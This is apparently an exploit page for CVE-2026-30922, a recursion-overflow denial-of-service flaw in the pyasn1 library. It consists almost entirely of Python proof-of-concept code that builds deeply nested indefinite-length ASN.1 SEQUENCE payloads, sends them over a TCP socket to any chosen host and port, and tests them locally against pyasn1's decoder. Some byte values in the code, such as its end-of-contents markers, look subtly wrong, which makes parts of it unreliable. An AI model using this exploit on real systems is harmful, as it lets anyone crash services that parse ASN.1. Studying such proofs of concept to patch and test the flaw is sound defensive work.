CVE-2026-30922: pyasn1库递归溢出导致拒绝服务漏洞

import socket def create_nested_asn1_payload(depth=5000): """ Generate a malicious ASN.1 payload with deeply nested SEQUENCE tags using indefinite length encoding to trigger recursion overflow. CVE-2026-30922 PoC """ # Start with SEQUENCE tag (0x30) with indefinite length (0x80) payload = b'\x30\x80' # Add deeply nested SEQUENCE tags for _ in range(depth): payload += b'\x30\x80' # Close all nested tags with end-of-contents markers (0x80 0x00) for _ in range(depth + 1): payload += b'\x80\x00' return payload def send_exploit(target_host, target_port, depth=5000): """ Send the malicious payload to target service. """ payload = create_nested_asn1_payload(depth) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((target_host, target_port)) sock.send(payload) print(f'[+] Malicious payload sent ({len(payload)} bytes, depth={depth})') except Exception as e: print(f'[-] Error: {e}') finally: sock.close() def test_locally(): """ Test the vulnerability locally using pyasn1 decoder. """ try: from pyasn1.codec.der import decoder payload = create_nested_asn1_payload(2000) print('[+] Testing payload with pyasn1 decoder...') # This should trigger RecursionError result = decoder.decode(payload) print('[-] No error occurred (unexpected)') except RecursionError: print('[+] RecursionError triggered - vulnerability confirmed!') except Exception as e: print(f'[-] Other error: {type(e).__name__}: {e}') if __name__ == '__main__': test_locally()